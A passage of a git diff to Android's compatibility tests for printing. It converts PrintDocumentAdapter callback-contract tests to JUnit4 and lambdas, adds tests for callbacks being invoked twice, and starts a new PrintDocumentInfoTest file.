+                    ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
+                    WriteResultCallback callback = (WriteResultCallback) args[3];
+                    writeBlankPages(printAttributes[0], fd, Integer.MAX_VALUE, Integer.MAX_VALUE);
+                    fd.close();
+                    // Write wrong pages.
+                    callback.onWriteFinished(new PageRange[] {
+                            new PageRange(Integer.MAX_VALUE,Integer.MAX_VALUE)});
+                    // Mark write was called.
+                    onWriteCalled();
+                    return null;
+                }, invocation -> {
+                    // Mark finish was called.
+                    onFinishCalled();
+                    return null;
+                });
 
         // Start printing.
         print(adapter);
@@ -1424,7 +1592,7 @@
         // there are other printers but none of them was used.
         PrintAttributes firstOldAttributes = new PrintAttributes.Builder().build();
         PrintAttributes firstNewAttributes = new PrintAttributes.Builder()
-                .setMediaSize(MediaSize.NA_LETTER)
+                .setMediaSize(getDefaultMediaSize())
                 .setResolution(new Resolution("PDF resolution", "PDF resolution", 300, 300))
                 .setMinMargins(Margins.NO_MARGINS).setColorMode(PrintAttributes.COLOR_MODE_COLOR)
                 .setDuplexMode(PrintAttributes.DUPLEX_MODE_NONE)
@@ -1443,32 +1611,20 @@
         verifyNoMoreInteractions(adapter);
     }
 
-    public void testLayoutCallbackNotCalled() throws Exception {
-        if (!supportsPrinting()) {
-            return;
-        }
-        // Configure the print services.
-        FirstPrintService.setCallbacks(createFirstMockPrintServiceCallbacks());
-        SecondPrintService.setCallbacks(createSecondMockPrintServiceCallbacks());
-
+    @Test
+    public void layoutCallbackNotCalled() throws Exception {
         // Create a mock print adapter.
         final PrintDocumentAdapter adapter = createMockPrintDocumentAdapter(
-            new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                // Break the contract and never call the callback.
-                // Mark layout called.
-                onLayoutCalled();
-                return null;
-            }
-        }, null, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                // Mark finish was called.
-                onFinishCalled();
-                return null;
-            }
-        });
+                invocation -> {
+                    // Break the contract and never call the callback.
+                    // Mark layout called.
+                    onLayoutCalled();
+                    return null;
+                }, null, invocation -> {
+                    // Mark finish was called.
+                    onFinishCalled();
+                    return null;
+                });
 
         // Start printing.
         print(adapter);
@@ -1496,7 +1652,7 @@
         // there are other printers but none of them was used.
         PrintAttributes firstOldAttributes = new PrintAttributes.Builder().build();
         PrintAttributes firstNewAttributes = new PrintAttributes.Builder()
-                .setMediaSize(MediaSize.NA_LETTER)
+                .setMediaSize(getDefaultMediaSize())
                 .setResolution(new Resolution("PDF resolution", "PDF resolution", 300, 300))
                 .setMinMargins(Margins.NO_MARGINS).setColorMode(PrintAttributes.COLOR_MODE_COLOR)
                 .setDuplexMode(PrintAttributes.DUPLEX_MODE_NONE)
@@ -1510,45 +1666,30 @@
         verifyNoMoreInteractions(adapter);
     }
 
-    public void testWriteCallbackNotCalled() throws Exception {
-        if (!supportsPrinting()) {
-            return;
-        }
-        // Configure the print services.
-        FirstPrintService.setCallbacks(createFirstMockPrintServiceCallbacks());
-        SecondPrintService.setCallbacks(createSecondMockPrintServiceCallbacks());
-
+    @Test
+    public void writeCallbackNotCalled() throws Exception {
         // Create a mock print adapter.
         final PrintDocumentAdapter adapter = createMockPrintDocumentAdapter(
-            new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                LayoutResultCallback callback = (LayoutResultCallback) invocation.getArguments()[3];
-                PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
-                        .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT).setPageCount(1)
-                        .build();
-                callback.onLayoutFinished(info, false);
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                Object[] args = invocation.getArguments();
-                ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
-                fd.close();
-                // Break the contract and never call the callback.
-                // Mark write was called.
-                onWriteCalled();
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                // Mark finish was called.
-                onFinishCalled();
-                return null;
-            }
-        });
+                invocation -> {
+                    LayoutResultCallback callback = (LayoutResultCallback) invocation.getArguments()[3];
+                    PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
+                            .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT).setPageCount(1)
+                            .build();
+                    callback.onLayoutFinished(info, false);
+                    return null;
+                }, invocation -> {
+                    Object[] args = invocation.getArguments();
+                    ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
+                    fd.close();
+                    // Break the contract and never call the callback.
+                    // Mark write was called.
+                    onWriteCalled();
+                    return null;
+                }, invocation -> {
+                    // Mark finish was called.
+                    onFinishCalled();
+                    return null;
+                });
 
         // Start printing.
         print(adapter);
@@ -1576,7 +1717,7 @@
         // there are other printers but none of them was used.
         PrintAttributes firstOldAttributes = new PrintAttributes.Builder().build();
         PrintAttributes firstNewAttributes = new PrintAttributes.Builder()
-                .setMediaSize(MediaSize.NA_LETTER)
+                .setMediaSize(getDefaultMediaSize())
                 .setResolution(new Resolution("PDF resolution", "PDF resolution", 300, 300))
                 .setMinMargins(Margins.NO_MARGINS).setColorMode(PrintAttributes.COLOR_MODE_COLOR)
                 .setDuplexMode(PrintAttributes.DUPLEX_MODE_NONE)
@@ -1595,60 +1736,201 @@
         verifyNoMoreInteractions(adapter);
     }
 
+    @Test
+    public void layoutCallbackCalledTwice() throws Exception {
+        // Create a mock print adapter.
+        final PrintDocumentAdapter adapter = createMockPrintDocumentAdapter(
+                invocation -> {
+                    PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
+                            .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT)
+                            .setPageCount(1)
+                            .build();
+                    LayoutResultCallback callback = (LayoutResultCallback) invocation
+                            .getArguments()[3];
+
+                    // Break the contract and call the callback twice.
+                    callback.onLayoutFinished(info, true);
+                    callback.onLayoutFinished(info, true);
+
+                    // Mark layout called.
+                    onLayoutCalled();
+                    return null;
+                }, null, invocation -> {
+                    // Mark finish was called.
+                    onFinishCalled();
+                    return null;
+                });
+
+        // Start printing.
+        print(adapter);
+
+        // Wait for layout.
+        waitForLayoutAdapterCallbackCount(1);
+
+        // Cancel printing.
+        getUiDevice().pressBack(); // wakes up the device.
+        getUiDevice().pressBack();
+
+        // Wait for a finish.
+        waitForAdapterFinishCallbackCalled();
+
+        // Wait for the session to be destroyed to isolate tests.
+        waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
+
+        // Verify the expected calls.
+        InOrder inOrder = inOrder(adapter);
+
+        // Start is always called first.
+        inOrder.verify(adapter).onStart();
+
+        // Start is always followed by a layout. The PDF printer is selected if
+        // there are other printers but none of them was used.
+        PrintAttributes firstOldAttributes = new PrintAttributes.Builder().build();
+        PrintAttributes firstNewAttributes = new PrintAttributes.Builder()
+                .setMediaSize(getDefaultMediaSize())
+                .setResolution(new Resolution("PDF resolution", "PDF resolution", 300, 300))
+                .setMinMargins(Margins.NO_MARGINS).setColorMode(PrintAttributes.COLOR_MODE_COLOR)
+                .setDuplexMode(PrintAttributes.DUPLEX_MODE_NONE)
+                .build();
+        verifyLayoutCall(inOrder, adapter, firstOldAttributes, firstNewAttributes, true);
+
+        PageRange[] firstPage = new PageRange[] {new PageRange(0, 0)};
+        inOrder.verify(adapter).onWrite(eq(firstPage), any(ParcelFileDescriptor.class),
+                any(CancellationSignal.class), any(WriteResultCallback.class));
+
+        // Finish is always called last.
+        inOrder.verify(adapter).onFinish();
+
+        // No other call are expected.
+        verifyNoMoreInteractions(adapter);
+    }
+
+    @Test
+    public void writeCallbackCalledTwice() throws Exception {
+        final PrintAttributes[] printAttributes = new PrintAttributes[1];
+
+        // Create a mock print adapter.
+        final PrintDocumentAdapter adapter = createMockPrintDocumentAdapter(
+                invocation -> {
+                    printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
+                    PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
+                            .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT)
+                            .setPageCount(1)
+                            .build();
+                    LayoutResultCallback callback = (LayoutResultCallback) invocation
+                            .getArguments()[3];
+
+                    callback.onLayoutFinished(info, true);
+
+                    // Mark layout called.
+                    onLayoutCalled();
+                    return null;
+                }, invocation -> {
+                    Object[] args = invocation.getArguments();
+                    PageRange[] pages = (PageRange[]) args[0];
+                    ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
+                    WriteResultCallback callback = (WriteResultCallback) args[3];
+
+                    // Write only one pages
+                    writeBlankPages(printAttributes[0], fd, 0, 0);
+                    fd.close();
+
+                    // Break the contract and call callback twice
+                    callback.onWriteFinished(pages);
+                    callback.onWriteFinished(pages);
+
+                    // Mark write called
+                    onWriteCalled();
+                    return null;
+                }, invocation -> {
+                    // Mark finish was called.
+                    onFinishCalled();
+                    return null;
+                });
+
+        // Start printing.
+        print(adapter);
+
+        // Wait for layout.
+        waitForLayoutAdapterCallbackCount(1);
+
+        // Cancel printing.
+        getUiDevice().pressBack(); // wakes up the device.
+        getUiDevice().pressBack();
+
+        // Wait for a finish.
+        waitForAdapterFinishCallbackCalled();
+
+        // Wait for the session to be destroyed to isolate tests.
+        waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
+
+        // Verify the expected calls.
+        InOrder inOrder = inOrder(adapter);
+
+        // Start is always called first.
+        inOrder.verify(adapter).onStart();
+
+        // Start is always followed by a layout. The PDF printer is selected if
+        // there are other printers but none of them was used.
+        PrintAttributes firstOldAttributes = new PrintAttributes.Builder().build();
+        PrintAttributes firstNewAttributes = new PrintAttributes.Builder()
+                .setMediaSize(getDefaultMediaSize())
+                .setResolution(new Resolution("PDF resolution", "PDF resolution", 300, 300))
+                .setMinMargins(Margins.NO_MARGINS).setColorMode(PrintAttributes.COLOR_MODE_COLOR)
+                .setDuplexMode(PrintAttributes.DUPLEX_MODE_NONE)
+                .build();
+        verifyLayoutCall(inOrder, adapter, firstOldAttributes, firstNewAttributes, true);
+
+        PageRange[] firstPage = new PageRange[] {new PageRange(0, 0)};
+        inOrder.verify(adapter).onWrite(eq(firstPage), any(ParcelFileDescriptor.class),
+                any(CancellationSignal.class), any(WriteResultCallback.class));
+
+        // Finish is always called last.
+        inOrder.verify(adapter).onFinish();
+
+        // No other call are expected.
+        verifyNoMoreInteractions(adapter);
+    }
+
     /**
      * Pretend to have written two pages, but only actually write one page
      *
      * @throws Exception If anything is unexpected
      */
-    public void testNotEnoughPages() throws Exception {
-        if (!supportsPrinting()) {
-            return;
-        }
-
-        FirstPrintService.setCallbacks(createFirstMockPrintServiceCallbacks());
-        SecondPrintService.setCallbacks(createSecondMockPrintServiceCallbacks());
-
+    @Test
+    public void notEnoughPages() throws Exception {
         final PrintAttributes[] printAttributes = new PrintAttributes[1];
 
         final PrintDocumentAdapter adapter = createMockPrintDocumentAdapter(
-                new Answer<Void>() {
-                    @Override
-                    public Void answer(InvocationOnMock invocation) throws Throwable {
-                        printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
-                        LayoutResultCallback callback = (LayoutResultCallback) invocation
-                                .getArguments()[3];
+                invocation -> {
+                    printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
+                    LayoutResultCallback callback = (LayoutResultCallback) invocation
+                            .getArguments()[3];
 
-                        // Lay out two pages
-                        PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
-                                .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT)
-                                .setPageCount(2)
-                                .build();
-                        callback.onLayoutFinished(info, true);
-                        return null;
-                    }
-                }, new Answer<Void>() {
-                    @Override
-                    public Void answer(InvocationOnMock invocation) throws Throwable {
-                        Object[] args = invocation.getArguments();
-                        PageRange[] pages = (PageRange[]) args[0];
-                        ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
-                        WriteResultCallback callback = (WriteResultCallback) args[3];
+                    // Lay out two pages
+                    PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
+                            .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT)
+                            .setPageCount(2)
+                            .build();
+                    callback.onLayoutFinished(info, true);
+                    return null;
+                }, invocation -> {
+                    Object[] args = invocation.getArguments();
+                    PageRange[] pages = (PageRange[]) args[0];
+                    ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
+                    WriteResultCallback callback = (WriteResultCallback) args[3];
 
-                        // Write only one pages
-                        writeBlankPages(printAttributes[0], fd, 0, 0);
-                        fd.close();
+                    // Write only one pages
+                    writeBlankPages(printAttributes[0], fd, 0, 0);
+                    fd.close();
 
-                        // Break the contract and report that two pages were written
-                        callback.onWriteFinished(pages);
-                        onWriteCalled();
-                        return null;
-                    }
-                }, new Answer<Void>() {
-                    @Override
-                    public Void answer(InvocationOnMock invocation) throws Throwable {
-                        onFinishCalled();
-                        return null;
-                    }
+                    // Break the contract and report that two pages were written
+                    callback.onWriteFinished(pages);
+                    onWriteCalled();
+                    return null;
+                }, invocation -> {
+                    onFinishCalled();
+                    return null;
                 });
 
         print(adapter);
@@ -1665,247 +1947,95 @@
         waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
     }
 
-    /**
-     * Executes a print process with a given print document info
-     *
-     * @param info The print document info to declare on layout
-     */
-    private void printDocumentInfoBaseTest(final PrintDocumentInfo info) throws Exception {
-        if (!supportsPrinting()) {
-            return;
-        }
-        // Configure the print services.
-        FirstPrintService.setCallbacks(createFirstMockPrintServiceCallbacks());
-        SecondPrintService.setCallbacks(createSecondMockPrintServiceCallbacks());
+    private PrinterDiscoverySessionCallbacks createFirstMockDiscoverySessionCallbacks() {
+        return createMockPrinterDiscoverySessionCallbacks(invocation -> {
+            PrinterDiscoverySessionCallbacks mock = (PrinterDiscoverySessionCallbacks)
+                    invocation.getMock();
 
-        final PrintAttributes[] printAttributes = new PrintAttributes[1];
+            StubbablePrinterDiscoverySession session = mock.getSession();
+            PrintService service = session.getService();
 
-        // Create a mock print adapter.
-        final PrintDocumentAdapter adapter = createMockPrintDocumentAdapter(
-                new Answer<Void>() {
-                    @Override
-                    public Void answer(InvocationOnMock invocation) throws Throwable {
-                        printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
-                        LayoutResultCallback callback = (LayoutResultCallback) invocation.getArguments()[3];
-                        callback.onLayoutFinished(info, false);
-                        // Mark layout was called.
-                        onLayoutCalled();
-                        return null;
-                    }
-                }, new Answer<Void>() {
-                    @Override
-                    public Void answer(InvocationOnMock invocation) throws Throwable {
-                        Object[] args = invocation.getArguments();
-                        PageRange[] pages = (PageRange[]) args[0];
-                        ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
-                        WriteResultCallback callback = (WriteResultCallback) args[3];
-                        writeBlankPages(printAttributes[0], fd, 0, 1);
-                        fd.close();
-                        callback.onWriteFinished(pages);
-                        // Mark write was called.
-                        onWriteCalled();
-                        return null;
-                    }
-                }, new Answer<Void>() {
-                    @Override
-                    public Void answer(InvocationOnMock invocation) throws Throwable {
-                        // Mark finish was called.
-                        onFinishCalled();
-                        return null;
-                    }
-                });
+            if (session.getPrinters().isEmpty()) {
+                List<PrinterInfo> printers = new ArrayList<>();
 
-        // Start printing.
-        print(adapter);
+                // Add the first printer.
+                PrinterId firstPrinterId = service.generatePrinterId("first_printer");
+                PrinterCapabilitiesInfo firstCapabilities =
+                        new PrinterCapabilitiesInfo.Builder(firstPrinterId)
+                                .setMinMargins(new Margins(200, 200, 200, 200))
+                                .addMediaSize(MediaSize.ISO_A0, true)
+                                .addMediaSize(MediaSize.ISO_A5, false)
+                                .addResolution(new Resolution("300x300", "300x300", 300, 300), true)
+                                .setColorModes(PrintAttributes.COLOR_MODE_COLOR,
+                                        PrintAttributes.COLOR_MODE_COLOR)
+                                .build();
+                PrinterInfo firstPrinter = new PrinterInfo.Builder(firstPrinterId,
+                        "First printer", PrinterInfo.STATUS_IDLE)
+                        .setCapabilities(firstCapabilities)
+                        .build();
+                printers.add(firstPrinter);
 
-        // Select the second printer.
-        selectPrinter("Second printer");
+                // Add the second printer.
+                PrinterId secondPrinterId = service.generatePrinterId("second_printer");
+                PrinterCapabilitiesInfo secondCapabilities =
+                        new PrinterCapabilitiesInfo.Builder(secondPrinterId)
+                                .addMediaSize(MediaSize.ISO_A3, true)
+                                .addMediaSize(MediaSize.ISO_A0, false)
+                                .addResolution(new Resolution("200x200", "200x200", 200, 200), true)
+                                .addResolution(new Resolution("300x300", "300x300", 300, 300),
+                                        false)
+                                .setColorModes(PrintAttributes.COLOR_MODE_COLOR
+                                                | PrintAttributes.COLOR_MODE_MONOCHROME,
+                                        PrintAttributes.COLOR_MODE_MONOCHROME
+                                )
+                                .setDuplexModes(PrintAttributes.DUPLEX_MODE_LONG_EDGE
+                                                | PrintAttributes.DUPLEX_MODE_SHORT_EDGE,
+                                        PrintAttributes.DUPLEX_MODE_LONG_EDGE
+                                )
+                                .build();
+                PrinterInfo secondPrinter = new PrinterInfo.Builder(secondPrinterId,
+                        "Second printer", PrinterInfo.STATUS_IDLE)
+                        .setCapabilities(secondCapabilities)
+                        .build();
+                printers.add(secondPrinter);
 
-        // Wait for layout.
-        waitForLayoutAdapterCallbackCount(2);
+                // Add the third printer.
+                PrinterId thirdPrinterId = service.generatePrinterId("third_printer");
+                PrinterCapabilitiesInfo thirdCapabilities =
+                        null;
+                try {
+                    thirdCapabilities = new PrinterCapabilitiesInfo.Builder(thirdPrinterId)
+                            .addMediaSize(getDefaultMediaSize(), true)
+                            .addResolution(new Resolution("300x300", "300x300", 300, 300), true)
+                            .setColorModes(PrintAttributes.COLOR_MODE_COLOR,
+                                    PrintAttributes.COLOR_MODE_COLOR)
+                            .build();
+                } catch (Exception e) {
+                    Log.e(LOG_TAG, "Cannot create third printer", e);
+                }
+                PrinterInfo thirdPrinter = new PrinterInfo.Builder(thirdPrinterId,
+                        "Third printer", PrinterInfo.STATUS_IDLE)
+                        .setCapabilities(thirdCapabilities)
+                        .build();
+                printers.add(thirdPrinter);
 
-        // Click the print button.
-        clickPrintButton();
-
-        // Answer the dialog for the print service cloud warning
-        answerPrintServicesWarning(true);
-
-        // Wait for the session to be destroyed to isolate tests.
-        waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
-    }
-
-    /**
-     * Test that the default values of the PrintDocumentInfo are fine.
-     *
-     * @throws Exception If anything unexpected happens
-     */
-    public void testDocumentInfoNothingSet() throws Exception {
-        printDocumentInfoBaseTest((new PrintDocumentInfo.Builder(PRINT_JOB_NAME)).build());
-    }
-
-    /**
-     * Test that a unknown page count is handled correctly.
-     *
-     * @throws Exception If anything unexpected happens
-     */
-    public void testDocumentInfoUnknownPageCount() throws Exception {
-        printDocumentInfoBaseTest((new PrintDocumentInfo.Builder(PRINT_JOB_NAME))
-                .setPageCount(PrintDocumentInfo.PAGE_COUNT_UNKNOWN).build());
-    }
-
-    /**
-     * Test that zero page count is handled correctly.
-     *
-     * @throws Exception If anything unexpected happens
-     */
-    public void testDocumentInfoZeroPageCount() throws Exception {
-        printDocumentInfoBaseTest((new PrintDocumentInfo.Builder(PRINT_JOB_NAME))
-                .setPageCount(0).build());
-    }
-
-    /**
-     * Test that page count one is handled correctly. (The document has two pages)
-     *
-     * @throws Exception If anything unexpected happens
-     */
-    public void testDocumentInfoOnePageCount() throws Exception {
-        printDocumentInfoBaseTest((new PrintDocumentInfo.Builder(PRINT_JOB_NAME))
-                .setPageCount(1).build());
-    }
-
-    /**
-     * Test that page count three is handled correctly. (The document has two pages)
-     *
-     * @throws Exception If anything unexpected happens
-     */
-    public void testDocumentInfoThreePageCount() throws Exception {
-        printDocumentInfoBaseTest((new PrintDocumentInfo.Builder(PRINT_JOB_NAME))
-                .setPageCount(3).build());
-    }
-
-    /**
-     * Test that a photo content type is handled correctly.
-     *
-     * @throws Exception If anything unexpected happens
-     */
-    public void testDocumentInfoContentTypePhoto() throws Exception {
-        printDocumentInfoBaseTest((new PrintDocumentInfo.Builder(PRINT_JOB_NAME))
-                .setContentType(PrintDocumentInfo.CONTENT_TYPE_PHOTO).build());
-    }
-
-    /**
-     * Test that a unknown content type is handled correctly.
-     *
-     * @throws Exception If anything unexpected happens
-     */
-    public void testDocumentInfoContentTypeUnknown() throws Exception {
-        printDocumentInfoBaseTest((new PrintDocumentInfo.Builder(PRINT_JOB_NAME))
-                .setContentType(PrintDocumentInfo.CONTENT_TYPE_UNKNOWN).build());
-    }
-
-    /**
-     * Test that a undefined content type is handled correctly.
-     *
-     * @throws Exception If anything unexpected happens
-     */
-    public void testDocumentInfoContentTypeNonDefined() throws Exception {
-        printDocumentInfoBaseTest((new PrintDocumentInfo.Builder(PRINT_JOB_NAME))
-                .setContentType(-23).build());
+                session.addPrinters(printers);
+            }
+            return null;
+        }, null, null, null, null, null, invocation -> {
+            // Take a note onDestroy was called.
+            onPrinterDiscoverySessionDestroyCalled();
+            return null;
+        });
     }
 
     private PrintServiceCallbacks createFirstMockPrintServiceCallbacks() {
         final PrinterDiscoverySessionCallbacks callbacks =
-                createMockPrinterDiscoverySessionCallbacks(new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) {
-                PrinterDiscoverySessionCallbacks mock = (PrinterDiscoverySessionCallbacks)
-                        invocation.getMock();
-
-                StubbablePrinterDiscoverySession session = mock.getSession();
-                PrintService service = session.getService();
-
-                if (session.getPrinters().isEmpty()) {
-                    List<PrinterInfo> printers = new ArrayList<PrinterInfo>();
-
-                    // Add the first printer.
-                    PrinterId firstPrinterId = service.generatePrinterId("first_printer");
-                    PrinterCapabilitiesInfo firstCapabilities =
-                            new PrinterCapabilitiesInfo.Builder(firstPrinterId)
-                        .setMinMargins(new Margins(200, 200, 200, 200))
-                        .addMediaSize(MediaSize.ISO_A4, true)
-                        .addMediaSize(MediaSize.ISO_A5, false)
-                        .addResolution(new Resolution("300x300", "300x300", 300, 300), true)
-                        .setColorModes(PrintAttributes.COLOR_MODE_COLOR,
-                                PrintAttributes.COLOR_MODE_COLOR)
-                        .build();
-                    PrinterInfo firstPrinter = new PrinterInfo.Builder(firstPrinterId,
-                            "First printer", PrinterInfo.STATUS_IDLE)
-                        .setCapabilities(firstCapabilities)
-                        .build();
-                    printers.add(firstPrinter);
-
-                    // Add the second printer.
-                    PrinterId secondPrinterId = service.generatePrinterId("second_printer");
-                    PrinterCapabilitiesInfo secondCapabilities =
-                            new PrinterCapabilitiesInfo.Builder(secondPrinterId)
-                        .addMediaSize(MediaSize.ISO_A3, true)
-                        .addMediaSize(MediaSize.ISO_A4, false)
-                        .addResolution(new Resolution("200x200", "200x200", 200, 200), true)
-                        .addResolution(new Resolution("300x300", "300x300", 300, 300), false)
-                        .setColorModes(PrintAttributes.COLOR_MODE_COLOR
-                                        | PrintAttributes.COLOR_MODE_MONOCHROME,
-                                PrintAttributes.COLOR_MODE_MONOCHROME
-                        )
-                        .setDuplexModes(PrintAttributes.DUPLEX_MODE_LONG_EDGE
-                                        | PrintAttributes.DUPLEX_MODE_SHORT_EDGE,
-                                PrintAttributes.DUPLEX_MODE_LONG_EDGE
-                        )
-                        .build();
-                    PrinterInfo secondPrinter = new PrinterInfo.Builder(secondPrinterId,
-                            "Second printer", PrinterInfo.STATUS_IDLE)
-                        .setCapabilities(secondCapabilities)
-                        .build();
-                    printers.add(secondPrinter);
-
-                    // Add the third printer.
-                    PrinterId thirdPrinterId = service.generatePrinterId("third_printer");
-                    PrinterCapabilitiesInfo thirdCapabilities =
-                            new PrinterCapabilitiesInfo.Builder(thirdPrinterId)
-                        .addMediaSize(MediaSize.NA_LETTER, true)
-                        .addResolution(new Resolution("300x300", "300x300", 300, 300), true)
-                        .setColorModes(PrintAttributes.COLOR_MODE_COLOR,
-                                PrintAttributes.COLOR_MODE_COLOR)
-                        .build();
-                    PrinterInfo thirdPrinter = new PrinterInfo.Builder(thirdPrinterId,
-                            "Third printer", PrinterInfo.STATUS_IDLE)
-                        .setCapabilities(thirdCapabilities)
-                        .build();
-                    printers.add(thirdPrinter);
-
-                    session.addPrinters(printers);
-                }
-                return null;
-            }
-        }, null, null, null, null, null, new Answer<Void>() {
-                @Override
-                public Void answer(InvocationOnMock invocation) throws Throwable {
-                    // Take a note onDestroy was called.
-                    onPrinterDiscoverySessionDestroyCalled();
-                    return null;
-                }
-            });
-        return createMockPrintServiceCallbacks(new Answer<PrinterDiscoverySessionCallbacks>() {
-            @Override
-            public PrinterDiscoverySessionCallbacks answer(InvocationOnMock invocation) {
-                return callbacks;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                PrintJob printJob = (PrintJob) invocation.getArguments()[0];
-                printJob.complete();
-                return null;
-            }
+                createFirstMockDiscoverySessionCallbacks();
+        return createMockPrintServiceCallbacks(invocation -> callbacks, invocation -> {
+            PrintJob printJob = (PrintJob) invocation.getArguments()[0];
+            printJob.complete();
+            return null;
         }, null);
     }
 
diff --git a/tests/tests/print/src/android/print/cts/PrintDocumentInfoTest.java b/tests/tests/print/src/android/print/cts/PrintDocumentInfoTest.java
new file mode 100644
index 0000000..a9d03c9
--- /dev/null
+++ b/tests/tests/print/src/android/print/cts/PrintDocumentInfoTest.java
@@ -0,0 +1,315 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.print.cts;
+
+import android.os.ParcelFileDescriptor;
+import android.print.PageRange;
+import android.print.PrintAttributes;
+import android.print.PrintAttributes.Margins;
+import android.print.PrintAttributes.MediaSize;
+import android.print.PrintAttributes.Resolution;
+import android.print.PrintDocumentAdapter;
+import android.print.PrintDocumentAdapter.LayoutResultCallback;
+import android.print.PrintDocumentAdapter.WriteResultCallback;
+import android.print.PrintDocumentInfo;
+import android.print.PrinterCapabilitiesInfo;
+import android.print.PrinterId;
+import android.print.PrinterInfo;
+import android.print.cts.services.FirstPrintService;
+import android.print.cts.services.PrintServiceCallbacks;
+import android.print.cts.services.PrinterDiscoverySessionCallbacks;
+import android.print.cts.services.SecondPrintService;
+import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.printservice.PrintJob;
+import android.printservice.PrintService;
+import android.support.test.runner.AndroidJUnit4;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.FileInputStream;
+import java.util.ArrayList;
+import java.util.List;
+
+import static android.print.cts.Utils.eventually;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+/**
+ * This test verifies that the system respects the {@link PrintDocumentAdapter}
+ * contract and invokes all callbacks as expected.
+ */
+@RunWith(AndroidJUnit4.class)
+public class PrintDocumentInfoTest extends android.print.cts.BasePrintTest {
+    private static boolean sIsDefaultPrinterSet;
+
+    @Before
+    public void setDefaultPrinter() throws Exception {
+        if (!sIsDefaultPrinterSet) {
+            // Create a callback for the target print service.
+            FirstPrintService.setCallbacks(createFirstMockPrintServiceCallbacks());
+            SecondPrintService.setCallbacks(createSecondMockPrintServiceCallbacks());
+
+            // Create a mock print adapter.
+            final PrintDocumentAdapter adapter = createDefaultPrintDocumentAdapter(1);
+
+            makeDefaultPrinter(adapter, "First printer");
+            resetCounters();
+
+            sIsDefaultPrinterSet = true;
+        }
+    }
+
+    /**
+     * Executes a print process with a given print document info
+     *
+     * @param name The name of the document info
+     * @param contentType The content type of the document
+     * @param pageCount The number of pages in the document
+     */
+    private void printDocumentBaseTest(String name, Integer contentType, Integer pageCount)
+            throws Throwable {
+        FirstPrintService.setCallbacks(createFirstMockPrintServiceCallbacks());
+        SecondPrintService.setCallbacks(createSecondMockPrintServiceCallbacks());
+
+        PrintDocumentInfo.Builder b = new PrintDocumentInfo.Builder(name);
+        if (contentType != null) {
+            b.setContentType(contentType);
+        }
+        if (pageCount != null) {
+            b.setPageCount(pageCount);
+        }
+        PrintDocumentInfo info = b.build();
+
+        PrintDocumentInfo queuedInfo[] = new PrintDocumentInfo[1];
+        ParcelFileDescriptor queuedData[] = new ParcelFileDescriptor[1];
+
+        PrinterDiscoverySessionCallbacks printerDiscoverySessionCallbacks =
+                createFirstMockDiscoverySessionCallbacks();
+        PrintServiceCallbacks printServiceCallbacks = createMockPrintServiceCallbacks(
+                invocation -> printerDiscoverySessionCallbacks,
+                invocation -> {
+                    PrintJob printJob = (PrintJob) invocation.getArguments()[0];
+                    queuedInfo[0] = printJob.getDocument().getInfo();
+                    queuedData[0] = printJob.getDocument().getData();
+                    printJob.complete();
+                    return null;
+                }, null);
+
+        FirstPrintService.setCallbacks(printServiceCallbacks);
+
+        final PrintAttributes[] printAttributes = new PrintAttributes[1];
+
+        // Create a mock print adapter.
+        final PrintDocumentAdapter adapter = createMockPrintDocumentAdapter(
+                invocation -> {
+                    printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
+                    LayoutResultCallback callback = (LayoutResultCallback) invocation
+                            .getArguments()[3];
+                    callback.onLayoutFinished(info, false);
+                    return null;
+                }, invocation -> {
+                    Object[] args = invocation.getArguments();
+                    PageRange[] pages = (PageRange[]) args[0];
+                    ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
